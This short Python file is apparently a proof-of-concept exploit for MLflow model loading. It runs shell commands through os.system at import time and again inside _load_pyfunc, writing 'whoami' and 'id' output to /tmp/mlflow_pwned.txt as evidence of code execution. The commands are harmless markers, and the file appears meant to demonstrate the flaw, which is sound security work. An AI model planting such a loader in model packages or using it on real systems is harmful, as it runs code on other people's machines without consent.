import os # This runs when importlib.import_module("exploit") is called # Phase 1: Code execution at import time rce_proof = os.system("whoami > /tmp/mlflow_pwned.txt && id >> /tmp/mlflow_pwned.txt") def _load_pyfunc(path): # Phase 2: Code execution at _load_pyfunc time os.system("echo 'RCE in _load_pyfunc' >> /tmp/mlflow_pwned.txt") return None